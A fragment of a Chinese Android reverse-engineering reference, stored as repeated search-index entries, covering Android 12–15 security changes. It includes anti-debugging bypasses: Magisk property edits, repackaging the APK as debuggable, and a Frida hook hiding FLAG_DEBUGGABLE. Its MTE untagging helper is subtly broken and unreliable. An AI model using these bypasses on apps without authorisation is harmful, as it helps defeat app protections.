版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#383-aslr-增强"},{"categories":null,"collections":null,"content":"3.8 Android 12-12L (S, API 31-32) 3.8.1 隐私面板 (Privacy Dashboard) Android 12 引入隐私面板，显示过去 24 小时内应用对敏感权限（位置、摄像头、麦克风）的访问记录。 3.8.2 ART 模块化 (Mainline) 这是一项对逆向工程有深远影响的变化。ART 运行时成为 Project Mainline 的一部分，可以通过 Google Play 系统更新独立于 Android 版本进行更新。 对逆向影响： 同一个 Android 12 设备，ART 运行时版本可能不同 hook 框架（如 Frida）的兼容性可能在 ART 模块更新后出现问题 分析 ART 内部结构时需要确认具体的 ART 版本 # 查看 ART 模块版本 adb shell pm list packages | grep com.google.android.art adb shell dumpsys package com.google.android.art | grep version # 查看 ART apex 信息 adb shell ls -la /apex/com.android.art/ 3.8.3 ASLR 增强 Android 12 进一步增强了 ASLR，增大了地址空间随机化范围，特别是对 64 位进程。 3.8.4 Restricted Debugging 增强 Android 12 增强了对非 debuggable 应用的调试限制。 绕过 Restricted Debugging 的方法： # 方法 1: 使用 Magisk 修改 ro.debuggable 属性 # 在 Magisk 的 post-fs-data.sh 中添加: resetprop ro.debuggable 1 # 方法 2: 重打包 APK 启用 debuggable # 在 AndroidManifest.xml 中添加: # android:debuggable=\"true\" # 方法 3: 使用 Frida 直接注入（不需要 debuggable） frida -U -f com.target.app -l hook.js --no-pause // Frida 绕过 debuggable 检查 Java.perform(function() { var ApplicationInfo = Java.use('android.content.pm.ApplicationInfo'); var GET_META_DATA = 128; // 一些应用会检查自身是否为 debuggable var PackageManager = Java.use('android.app.ApplicationPackageManager'); PackageManager.getApplicationInfo.overload('java.lang.String', 'int') .implementation = function(packageName, flags) { var info = this.getApplicationInfo(packageName, flags); // 移除 FLAG_DEBUGGABLE 标志，防止反调试检测 info.flags.value = info.flags.value \u0026 ~2; // FLAG_DEBUGGABLE = 0x2 return info; }; }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:8","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#384-restricted-debugging-增强"},{"categories":null,"collections":null,"content":"3.9 Android 13 (T, API 33) 3.9.1 通知权限 (POST_NOTIFICATIONS) Android 13 将通知发送权限改为运行时权限，应用需要显式请求 POST_NOTIFICATIONS 权限。 3.9.2 按应用语言设置 允许用户为每个应用单独设置语言，应用可能根据语言配置加载不同的资源或执行不同的逻辑分支。 3.9.3 Intent Filter 验证增强 Android 13 加强了 Intent Filter 的验证，自动验证的 App Link 域名需要通过更严格的 Digital Asset Links 验证。 对逆向影响： 测试 deep link 时需要确保域名验证通过，或使用 adb 命令手动触发 分析应用的路由逻辑时需要关注 Intent Filter 配置 # 测试 deep link（不受 Intent Filter 验证限制） adb shell am start -a android.intent.action.VIEW \\ -d \"https://example.com/deeplink?param=value\" \\ com.target.app # 查看应用的 Intent Filter 验证状态 adb shell pm get-app-links com.target.app # 手动重置验证状态 adb shell pm set-app-links --package com.target.app 0 all 3.9.4 更细粒度的媒体权限 READ_EXTERNAL_STORAGE 被拆分为 READ_MEDIA_IMAGES、READ_MEDIA_VIDEO 和 READ_MEDIA_AUDIO。 对逆向影响：权限模型继续复杂化，hook 权限检查时需要覆盖更多的权限类型。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:9","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#39-android-13-t-api-33"},{"categories":null,"collections":null,"content":"3.9 Android 13 (T, API 33) 3.9.1 通知权限 (POST_NOTIFICATIONS) Android 13 将通知发送权限改为运行时权限，应用需要显式请求 POST_NOTIFICATIONS 权限。 3.9.2 按应用语言设置 允许用户为每个应用单独设置语言，应用可能根据语言配置加载不同的资源或执行不同的逻辑分支。 3.9.3 Intent Filter 验证增强 Android 13 加强了 Intent Filter 的验证，自动验证的 App Link 域名需要通过更严格的 Digital Asset Links 验证。 对逆向影响： 测试 deep link 时需要确保域名验证通过，或使用 adb 命令手动触发 分析应用的路由逻辑时需要关注 Intent Filter 配置 # 测试 deep link（不受 Intent Filter 验证限制） adb shell am start -a android.intent.action.VIEW \\ -d \"https://example.com/deeplink?param=value\" \\ com.target.app # 查看应用的 Intent Filter 验证状态 adb shell pm get-app-links com.target.app # 手动重置验证状态 adb shell pm set-app-links --package com.target.app 0 all 3.9.4 更细粒度的媒体权限 READ_EXTERNAL_STORAGE 被拆分为 READ_MEDIA_IMAGES、READ_MEDIA_VIDEO 和 READ_MEDIA_AUDIO。 对逆向影响：权限模型继续复杂化，hook 权限检查时需要覆盖更多的权限类型。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:9","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#391-通知权限-post_notifications"},{"categories":null,"collections":null,"content":"3.9 Android 13 (T, API 33) 3.9.1 通知权限 (POST_NOTIFICATIONS) Android 13 将通知发送权限改为运行时权限，应用需要显式请求 POST_NOTIFICATIONS 权限。 3.9.2 按应用语言设置 允许用户为每个应用单独设置语言，应用可能根据语言配置加载不同的资源或执行不同的逻辑分支。 3.9.3 Intent Filter 验证增强 Android 13 加强了 Intent Filter 的验证，自动验证的 App Link 域名需要通过更严格的 Digital Asset Links 验证。 对逆向影响： 测试 deep link 时需要确保域名验证通过，或使用 adb 命令手动触发 分析应用的路由逻辑时需要关注 Intent Filter 配置 # 测试 deep link（不受 Intent Filter 验证限制） adb shell am start -a android.intent.action.VIEW \\ -d \"https://example.com/deeplink?param=value\" \\ com.target.app # 查看应用的 Intent Filter 验证状态 adb shell pm get-app-links com.target.app # 手动重置验证状态 adb shell pm set-app-links --package com.target.app 0 all 3.9.4 更细粒度的媒体权限 READ_EXTERNAL_STORAGE 被拆分为 READ_MEDIA_IMAGES、READ_MEDIA_VIDEO 和 READ_MEDIA_AUDIO。 对逆向影响：权限模型继续复杂化，hook 权限检查时需要覆盖更多的权限类型。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:9","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#392-按应用语言设置"},{"categories":null,"collections":null,"content":"3.9 Android 13 (T, API 33) 3.9.1 通知权限 (POST_NOTIFICATIONS) Android 13 将通知发送权限改为运行时权限，应用需要显式请求 POST_NOTIFICATIONS 权限。 3.9.2 按应用语言设置 允许用户为每个应用单独设置语言，应用可能根据语言配置加载不同的资源或执行不同的逻辑分支。 3.9.3 Intent Filter 验证增强 Android 13 加强了 Intent Filter 的验证，自动验证的 App Link 域名需要通过更严格的 Digital Asset Links 验证。 对逆向影响： 测试 deep link 时需要确保域名验证通过，或使用 adb 命令手动触发 分析应用的路由逻辑时需要关注 Intent Filter 配置 # 测试 deep link（不受 Intent Filter 验证限制） adb shell am start -a android.intent.action.VIEW \\ -d \"https://example.com/deeplink?param=value\" \\ com.target.app # 查看应用的 Intent Filter 验证状态 adb shell pm get-app-links com.target.app # 手动重置验证状态 adb shell pm set-app-links --package com.target.app 0 all 3.9.4 更细粒度的媒体权限 READ_EXTERNAL_STORAGE 被拆分为 READ_MEDIA_IMAGES、READ_MEDIA_VIDEO 和 READ_MEDIA_AUDIO。 对逆向影响：权限模型继续复杂化，hook 权限检查时需要覆盖更多的权限类型。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:9","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#393-intent-filter-验证增强"},{"categories":null,"collections":null,"content":"3.9 Android 13 (T, API 33) 3.9.1 通知权限 (POST_NOTIFICATIONS) Android 13 将通知发送权限改为运行时权限，应用需要显式请求 POST_NOTIFICATIONS 权限。 3.9.2 按应用语言设置 允许用户为每个应用单独设置语言，应用可能根据语言配置加载不同的资源或执行不同的逻辑分支。 3.9.3 Intent Filter 验证增强 Android 13 加强了 Intent Filter 的验证，自动验证的 App Link 域名需要通过更严格的 Digital Asset Links 验证。 对逆向影响： 测试 deep link 时需要确保域名验证通过，或使用 adb 命令手动触发 分析应用的路由逻辑时需要关注 Intent Filter 配置 # 测试 deep link（不受 Intent Filter 验证限制） adb shell am start -a android.intent.action.VIEW \\ -d \"https://example.com/deeplink?param=value\" \\ com.target.app # 查看应用的 Intent Filter 验证状态 adb shell pm get-app-links com.target.app # 手动重置验证状态 adb shell pm set-app-links --package com.target.app 0 all 3.9.4 更细粒度的媒体权限 READ_EXTERNAL_STORAGE 被拆分为 READ_MEDIA_IMAGES、READ_MEDIA_VIDEO 和 READ_MEDIA_AUDIO。 对逆向影响：权限模型继续复杂化，hook 权限检查时需要覆盖更多的权限类型。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:9","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#394-更细粒度的媒体权限"},{"categories":null,"collections":null,"content":"3.10 Android 14 (U, API 34) 3.10.1 Credential Manager API Android 14 引入 Credential Manager 统一管理密码、通行密钥 (Passkeys) 和联合登录凭据。 3.10.2 16KB 页面大小支持（部分设备） 这是对 Native 层逆向影响最大的变化之一。部分 Android 14 设备开始支持 16KB 内存页面大小（传统为 4KB）。 核心影响： # 4KB 页面 (传统): .text 段对齐到 0x1000 (4096) # 16KB 页面 (Android 14+): .text 段对齐到 0x4000 (16384) # 分析工具需要适配新的对齐方式 # 使用 readelf 检查段对齐: readelf -l libtarget.so | grep LOAD # 4KB 页面设备的典型输出: # LOAD 0x000000 0x00000000 0x00000000 0x01234 0x01234 R 0x1000 # LOAD 0x001000 0x00001000 0x00001000 0x05678 0x05678 R E 0x1000 # 16KB 页面设备的典型输出: # LOAD 0x000000 0x00000000 0x00000000 0x01234 0x01234 R 0x4000 # LOAD 0x004000 0x00004000 0x00004000 0x05678 0x05678 R E 0x4000 对逆向影响详解： 影响方面 4KB 页面 16KB 页面 段对齐 0x1000 0x4000 内存映射粒度 4KB 16KB ELF 段间距 较小 较大（更多填充） 偏移计算 基于 0x1000 基于 0x4000 工具兼容性 所有工具支持 需要工具更新 # 查看设备页面大小 adb shell getconf PAGE_SIZE # 输出 4096 或 16384 # 检查 SO 是否兼容 16KB 页面 # 如果 LOAD 段的 p_align 小于 0x4000，可能不兼容 readelf -l libtarget.so | grep -E \"LOAD|Align\" 3.10.3 更严格的隐式 Intent 限制 Android 14 要求隐式 Intent 必须指定目标组件的导出状态，未导出的组件不能通过隐式 Intent 启动。 3.10.4 minSdkVersion 限制 Android 14 不允许安装 minSdkVersion 低于 23 (Android 6.0) 的 APK。 对逆向影响： 一些旧版逆向工具（如早期的 Xposed Installer）的 APK 无法安装 重打包时需要确保 minSdkVersion \u003e= 23 # 查看 APK 的 minSdkVersion aapt2 dump badging target.apk | grep sdkVersion # 或 apktool d target.apk \u0026\u0026 grep minSdkVersion target/apktool.yml ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:10","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#310-android-14-u-api-34"},{"categories":null,"collections":null,"content":"3.10 Android 14 (U, API 34) 3.10.1 Credential Manager API Android 14 引入 Credential Manager 统一管理密码、通行密钥 (Passkeys) 和联合登录凭据。 3.10.2 16KB 页面大小支持（部分设备） 这是对 Native 层逆向影响最大的变化之一。部分 Android 14 设备开始支持 16KB 内存页面大小（传统为 4KB）。 核心影响： # 4KB 页面 (传统): .text 段对齐到 0x1000 (4096) # 16KB 页面 (Android 14+): .text 段对齐到 0x4000 (16384) # 分析工具需要适配新的对齐方式 # 使用 readelf 检查段对齐: readelf -l libtarget.so | grep LOAD # 4KB 页面设备的典型输出: # LOAD 0x000000 0x00000000 0x00000000 0x01234 0x01234 R 0x1000 # LOAD 0x001000 0x00001000 0x00001000 0x05678 0x05678 R E 0x1000 # 16KB 页面设备的典型输出: # LOAD 0x000000 0x00000000 0x00000000 0x01234 0x01234 R 0x4000 # LOAD 0x004000 0x00004000 0x00004000 0x05678 0x05678 R E 0x4000 对逆向影响详解： 影响方面 4KB 页面 16KB 页面 段对齐 0x1000 0x4000 内存映射粒度 4KB 16KB ELF 段间距 较小 较大（更多填充） 偏移计算 基于 0x1000 基于 0x4000 工具兼容性 所有工具支持 需要工具更新 # 查看设备页面大小 adb shell getconf PAGE_SIZE # 输出 4096 或 16384 # 检查 SO 是否兼容 16KB 页面 # 如果 LOAD 段的 p_align 小于 0x4000，可能不兼容 readelf -l libtarget.so | grep -E \"LOAD|Align\" 3.10.3 更严格的隐式 Intent 限制 Android 14 要求隐式 Intent 必须指定目标组件的导出状态，未导出的组件不能通过隐式 Intent 启动。 3.10.4 minSdkVersion 限制 Android 14 不允许安装 minSdkVersion 低于 23 (Android 6.0) 的 APK。 对逆向影响： 一些旧版逆向工具（如早期的 Xposed Installer）的 APK 无法安装 重打包时需要确保 minSdkVersion \u003e= 23 # 查看 APK 的 minSdkVersion aapt2 dump badging target.apk | grep sdkVersion # 或 apktool d target.apk \u0026\u0026 grep minSdkVersion target/apktool.yml ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:10","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#3101-credential-manager-api"},{"categories":null,"collections":null,"content":"3.10 Android 14 (U, API 34) 3.10.1 Credential Manager API Android 14 引入 Credential Manager 统一管理密码、通行密钥 (Passkeys) 和联合登录凭据。 3.10.2 16KB 页面大小支持（部分设备） 这是对 Native 层逆向影响最大的变化之一。部分 Android 14 设备开始支持 16KB 内存页面大小（传统为 4KB）。 核心影响： # 4KB 页面 (传统): .text 段对齐到 0x1000 (4096) # 16KB 页面 (Android 14+): .text 段对齐到 0x4000 (16384) # 分析工具需要适配新的对齐方式 # 使用 readelf 检查段对齐: readelf -l libtarget.so | grep LOAD # 4KB 页面设备的典型输出: # LOAD 0x000000 0x00000000 0x00000000 0x01234 0x01234 R 0x1000 # LOAD 0x001000 0x00001000 0x00001000 0x05678 0x05678 R E 0x1000 # 16KB 页面设备的典型输出: # LOAD 0x000000 0x00000000 0x00000000 0x01234 0x01234 R 0x4000 # LOAD 0x004000 0x00004000 0x00004000 0x05678 0x05678 R E 0x4000 对逆向影响详解： 影响方面 4KB 页面 16KB 页面 段对齐 0x1000 0x4000 内存映射粒度 4KB 16KB ELF 段间距 较小 较大（更多填充） 偏移计算 基于 0x1000 基于 0x4000 工具兼容性 所有工具支持 需要工具更新 # 查看设备页面大小 adb shell getconf PAGE_SIZE # 输出 4096 或 16384 # 检查 SO 是否兼容 16KB 页面 # 如果 LOAD 段的 p_align 小于 0x4000，可能不兼容 readelf -l libtarget.so | grep -E \"LOAD|Align\" 3.10.3 更严格的隐式 Intent 限制 Android 14 要求隐式 Intent 必须指定目标组件的导出状态，未导出的组件不能通过隐式 Intent 启动。 3.10.4 minSdkVersion 限制 Android 14 不允许安装 minSdkVersion 低于 23 (Android 6.0) 的 APK。 对逆向影响： 一些旧版逆向工具（如早期的 Xposed Installer）的 APK 无法安装 重打包时需要确保 minSdkVersion \u003e= 23 # 查看 APK 的 minSdkVersion aapt2 dump badging target.apk | grep sdkVersion # 或 apktool d target.apk \u0026\u0026 grep minSdkVersion target/apktool.yml ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:10","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#3102-16kb-页面大小支持部分设备"},{"categories":null,"collections":null,"content":"3.10 Android 14 (U, API 34) 3.10.1 Credential Manager API Android 14 引入 Credential Manager 统一管理密码、通行密钥 (Passkeys) 和联合登录凭据。 3.10.2 16KB 页面大小支持（部分设备） 这是对 Native 层逆向影响最大的变化之一。部分 Android 14 设备开始支持 16KB 内存页面大小（传统为 4KB）。 核心影响： # 4KB 页面 (传统): .text 段对齐到 0x1000 (4096) # 16KB 页面 (Android 14+): .text 段对齐到 0x4000 (16384) # 分析工具需要适配新的对齐方式 # 使用 readelf 检查段对齐: readelf -l libtarget.so | grep LOAD # 4KB 页面设备的典型输出: # LOAD 0x000000 0x00000000 0x00000000 0x01234 0x01234 R 0x1000 # LOAD 0x001000 0x00001000 0x00001000 0x05678 0x05678 R E 0x1000 # 16KB 页面设备的典型输出: # LOAD 0x000000 0x00000000 0x00000000 0x01234 0x01234 R 0x4000 # LOAD 0x004000 0x00004000 0x00004000 0x05678 0x05678 R E 0x4000 对逆向影响详解： 影响方面 4KB 页面 16KB 页面 段对齐 0x1000 0x4000 内存映射粒度 4KB 16KB ELF 段间距 较小 较大（更多填充） 偏移计算 基于 0x1000 基于 0x4000 工具兼容性 所有工具支持 需要工具更新 # 查看设备页面大小 adb shell getconf PAGE_SIZE # 输出 4096 或 16384 # 检查 SO 是否兼容 16KB 页面 # 如果 LOAD 段的 p_align 小于 0x4000，可能不兼容 readelf -l libtarget.so | grep -E \"LOAD|Align\" 3.10.3 更严格的隐式 Intent 限制 Android 14 要求隐式 Intent 必须指定目标组件的导出状态，未导出的组件不能通过隐式 Intent 启动。 3.10.4 minSdkVersion 限制 Android 14 不允许安装 minSdkVersion 低于 23 (Android 6.0) 的 APK。 对逆向影响： 一些旧版逆向工具（如早期的 Xposed Installer）的 APK 无法安装 重打包时需要确保 minSdkVersion \u003e= 23 # 查看 APK 的 minSdkVersion aapt2 dump badging target.apk | grep sdkVersion # 或 apktool d target.apk \u0026\u0026 grep minSdkVersion target/apktool.yml ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:10","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#3103-更严格的隐式-intent-限制"},{"categories":null,"collections":null,"content":"3.10 Android 14 (U, API 34) 3.10.1 Credential Manager API Android 14 引入 Credential Manager 统一管理密码、通行密钥 (Passkeys) 和联合登录凭据。 3.10.2 16KB 页面大小支持（部分设备） 这是对 Native 层逆向影响最大的变化之一。部分 Android 14 设备开始支持 16KB 内存页面大小（传统为 4KB）。 核心影响： # 4KB 页面 (传统): .text 段对齐到 0x1000 (4096) # 16KB 页面 (Android 14+): .text 段对齐到 0x4000 (16384) # 分析工具需要适配新的对齐方式 # 使用 readelf 检查段对齐: readelf -l libtarget.so | grep LOAD # 4KB 页面设备的典型输出: # LOAD 0x000000 0x00000000 0x00000000 0x01234 0x01234 R 0x1000 # LOAD 0x001000 0x00001000 0x00001000 0x05678 0x05678 R E 0x1000 # 16KB 页面设备的典型输出: # LOAD 0x000000 0x00000000 0x00000000 0x01234 0x01234 R 0x4000 # LOAD 0x004000 0x00004000 0x00004000 0x05678 0x05678 R E 0x4000 对逆向影响详解： 影响方面 4KB 页面 16KB 页面 段对齐 0x1000 0x4000 内存映射粒度 4KB 16KB ELF 段间距 较小 较大（更多填充） 偏移计算 基于 0x1000 基于 0x4000 工具兼容性 所有工具支持 需要工具更新 # 查看设备页面大小 adb shell getconf PAGE_SIZE # 输出 4096 或 16384 # 检查 SO 是否兼容 16KB 页面 # 如果 LOAD 段的 p_align 小于 0x4000，可能不兼容 readelf -l libtarget.so | grep -E \"LOAD|Align\" 3.10.3 更严格的隐式 Intent 限制 Android 14 要求隐式 Intent 必须指定目标组件的导出状态，未导出的组件不能通过隐式 Intent 启动。 3.10.4 minSdkVersion 限制 Android 14 不允许安装 minSdkVersion 低于 23 (Android 6.0) 的 APK。 对逆向影响： 一些旧版逆向工具（如早期的 Xposed Installer）的 APK 无法安装 重打包时需要确保 minSdkVersion \u003e= 23 # 查看 APK 的 minSdkVersion aapt2 dump badging target.apk | grep sdkVersion # 或 apktool d target.apk \u0026\u0026 grep minSdkVersion target/apktool.yml ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:10","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#3104-minsdkversion-限制"},{"categories":null,"collections":null,"content":"3.11 Android 15 (V, API 35) 3.11.1 16KB 页面大小全面支持 Android 15 将 16KB 页面大小从可选变为全面支持，所有新发布的设备和 SO 库都需要适配。 必须适配的要点： 所有 Native 库的 ELF 段必须按 16KB 对齐 使用 NDK r27+ 编译以确保兼容 旧的 SO 库可能无法在 16KB 页面设备上加载 # 检查 SO 是否兼容 16KB 页面 # 需要所有 LOAD 段的 p_align \u003e= 0x4000 check_16kb_compat() { local so_file=$1 readelf -l \"$so_file\" 2\u003e/dev/null | grep \"LOAD\" | while read line; do align=$(echo \"$line\" | awk '{print $NF}') if [ \"$align\" != \"0x4000\" ] \u0026\u0026 [ \"$align\" != \"0x10000\" ]; then echo \"[-] $so_file: 不兼容 16KB 页面 (align=$align)\" return 1 fi done echo \"[+] $so_file: 兼容 16KB 页面\" } # 批量检查应用中的所有 SO for so in $(unzip -l target.apk | grep \"\\.so$\" | awk '{print $4}'); do unzip -o target.apk \"$so\" -d /tmp/check_so/ check_16kb_compat \"/tmp/check_so/$so\" done 3.11.2 MTE (Memory Tagging Extension) 生产可用 MTE 是 ARMv8.5-A 引入的硬件级内存安全特性，Android 15 将其推向生产可用状态。MTE 在指针的高位（Top Byte）存储一个 4-bit 的标签 (tag)，并在内存分配时为每个 16 字节的内存 granule 分配一个对应的标签。访问内存时，硬件自动检查指针标签与内存标签是否匹配。 # MTE 指针格式 指针值: 0x0B00007F12345678 ^^ ||-- 4-bit memory tag (值: 0x0B) | 高位字节中的标签 # 内存布局: 地址: 0x7F12345670 0x7F12345680 0x7F12345690 标签: [0B] [0B] [03] ↑ 匹配 ↑ 匹配 ↑ 不匹配 → 触发异常 # 影响所有基于指针的分析: # 1. 读取指针值时需要 mask 掉 tag bits # 2. 构造指针时需要设置正确的 tag # 3. 内存扫描需要考虑 tagged pointer MTE 对逆向工程的影响： 影响方面 详细说明 指针分析 所有指针高位包含 tag，直接使用会导致地址错误 内存 dump dump 的指针值包含 tag，需要 mask 后才能使用 Exploit 开发 UAF 和堆溢出被硬件检测，利用难度大幅增加 Hook 框架 需要正确处理 tagged pointer，否则 hook 可能失败 调试工具 GDB/LLDB 需要支持 MTE 才能正确显示地址 // Frida 中处理 MTE tagged pointer function untagPointer(ptr) { // 移除高字节中的 MTE tag // ARM64 的 TBI (Top Byte Ignore) 允许高字节存储 tag var mask = ptr_size === 8 ? ptr('0x00FFFFFFFFFFFFFF') : ptr('0xFFFFFFFF'); return ptr.and(mask); } // 使用示例 Interceptor.attach(targetAddr, { onEnter: function(args) { var rawPtr = args[0]; var cleanPtr = untagPointer(rawPtr); console.log('[*] Raw pointer: ' + rawPtr); console.log('[*] Clean pointer: ' + cleanPtr); console.log('[*] MTE tag: 0x' + rawPtr.shr(56).and(0xF).toString(16)); } }); 3.11.3 Privacy Sandbox Privacy Sandbox 旨在替代广告追踪标识符（如 GAID），引入 Topics API、Attribution Reporting 等新机制。 对逆向影响：分析广告 SDK 和用户追踪机制时需要了解新的 Privacy Sandbox API。 3.11.4 截屏检测 API Android 15 引入了 Activity.ScreenCaptureCallback，允许应用检测用户截屏行为。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:11","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#311-android-15-v-api-35"},{"categories":null,"collections":null,"content":"3.11 Android 15 (V, API 35) 3.11.1 16KB 页面大小全面支持 Android 15 将 16KB 页面大小从可选变为全面支持，所有新发布的设备和 SO 库都需要适配。 必须适配的要点： 所有 Native 库的 ELF 段必须按 16KB 对齐 使用 NDK r27+ 编译以确保兼容 旧的 SO 库可能无法在 16KB 页面设备上加载 # 检查 SO 是否兼容 16KB 页面 # 需要所有 LOAD 段的 p_align \u003e= 0x4000 check_16kb_compat() { local so_file=$1 readelf -l \"$so_file\" 2\u003e/dev/null | grep \"LOAD\" | while read line; do align=$(echo \"$line\" | awk '{print $NF}') if [ \"$align\" != \"0x4000\" ] \u0026\u0026 [ \"$align\" != \"0x10000\" ]; then echo \"[-] $so_file: 不兼容 16KB 页面 (align=$align)\" return 1 fi done echo \"[+] $so_file: 兼容 16KB 页面\" } # 批量检查应用中的所有 SO for so in $(unzip -l target.apk | grep \"\\.so$\" | awk '{print $4}'); do unzip -o target.apk \"$so\" -d /tmp/check_so/ check_16kb_compat \"/tmp/check_so/$so\" done 3.11.2 MTE (Memory Tagging Extension) 生产可用 MTE 是 ARMv8.5-A 引入的硬件级内存安全特性，Android 15 将其推向生产可用状态。MTE 在指针的高位（Top Byte）存储一个 4-bit 的标签 (tag)，并在内存分配时为每个 16 字节的内存 granule 分配一个对应的标签。访问内存时，硬件自动检查指针标签与内存标签是否匹配。 # MTE 指针格式 指针值: 0x0B00007F12345678 ^^ ||-- 4-bit memory tag (值: 0x0B) | 高位字节中的标签 # 内存布局: 地址: 0x7F12345670 0x7F12345680 0x7F12345690 标签: [0B] [0B] [03] ↑ 匹配 ↑ 匹配 ↑ 不匹配 → 触发异常 # 影响所有基于指针的分析: # 1. 读取指针值时需要 mask 掉 tag bits # 2. 构造指针时需要设置正确的 tag # 3. 内存扫描需要考虑 tagged pointer MTE 对逆向工程的影响： 影响方面 详细说明 指针分析 所有指针高位包含 tag，直接使用会导致地址错误 内存 dump dump 的指针值包含 tag，需要 mask 后才能使用 Exploit 开发 UAF 和堆溢出被硬件检测，利用难度大幅增加 Hook 框架 需要正确处理 tagged pointer，否则 hook 可能失败 调试工具 GDB/LLDB 需要支持 MTE 才能正确显示地址 // Frida 中处理 MTE tagged pointer function untagPointer(ptr) { // 移除高字节中的 MTE tag // ARM64 的 TBI (Top Byte Ignore) 允许高字节存储 tag var mask = ptr_size === 8 ? ptr('0x00FFFFFFFFFFFFFF') : ptr('0xFFFFFFFF'); return ptr.and(mask); } // 使用示例 Interceptor.attach(targetAddr, { onEnter: function(args) { var rawPtr = args[0]; var cleanPtr = untagPointer(rawPtr); console.log('[*] Raw pointer: ' + rawPtr); console.log('[*] Clean pointer: ' + cleanPtr); console.log('[*] MTE tag: 0x' + rawPtr.shr(56).and(0xF).toString(16)); } }); 3.11.3 Privacy Sandbox Privacy Sandbox 旨在替代广告追踪标识符（如 GAID），引入 Topics API、Attribution Reporting 等新机制。 对逆向影响：分析广告 SDK 和用户追踪机制时需要了解新的 Privacy Sandbox API。 3.11.4 截屏检测 API Android 15 引入了 Activity.ScreenCaptureCallback，允许应用检测用户截屏行为。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:11","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#3111-16kb-页面大小全面支持"},{"categories":null,"collections":null,"content":"3.11 Android 15 (V, API 35) 3.11.1 16KB 页面大小全面支持 Android 15 将 16KB 页面大小从可选变为全面支持，所有新发布的设备和 SO 库都需要适配。 必须适配的要点： 所有 Native 库的 ELF 段必须按 16KB 对齐 使用 NDK r27+ 编译以确保兼容 旧的 SO 库可能无法在 16KB 页面设备上加载 # 检查 SO 是否兼容 16KB 页面 # 需要所有 LOAD 段的 p_align \u003e= 0x4000 check_16kb_compat() { local so_file=$1 readelf -l \"$so_file\" 2\u003e/dev/null | grep \"LOAD\" | while read line; do align=$(echo \"$line\" | awk '{print $NF}') if [ \"$align\" != \"0x4000\" ] \u0026\u0026 [ \"$align\" != \"0x10000\" ]; then echo \"[-] $so_file: 不兼容 16KB 页面 (align=$align)\" return 1 fi done echo \"[+] $so_file: 兼容 16KB 页面\" } # 批量检查应用中的所有 SO for so in $(unzip -l target.apk | grep \"\\.so$\" | awk '{print $4}'); do unzip -o target.apk \"$so\" -d /tmp/check_so/ check_16kb_compat \"/tmp/check_so/$so\" done 3.11.2 MTE (Memory Tagging Extension) 生产可用 MTE 是 ARMv8.5-A 引入的硬件级内存安全特性，Android 15 将其推向生产可用状态。MTE 在指针的高位（Top Byte）存储一个 4-bit 的标签 (tag)，并在内存分配时为每个 16 字节的内存 granule 分配一个对应的标签。访问内存时，硬件自动检查指针标签与内存标签是否匹配。 # MTE 指针格式 指针值: 0x0B00007F12345678 ^^ ||-- 4-bit memory tag (值: 0x0B) | 高位字节中的标签 # 内存布局: 地址: 0x7F12345670 0x7F12345680 0x7F12345690 标签: [0B] [0B] [03] ↑ 匹配 ↑ 匹配 ↑ 不匹配 → 触发异常 # 影响所有基于指针的分析: # 1. 读取指针值时需要 mask 掉 tag bits # 2. 构造指针时需要设置正确的 tag # 3. 内存扫描需要考虑 tagged pointer MTE 对逆向工程的影响： 影响方面 详细说明 指针分析 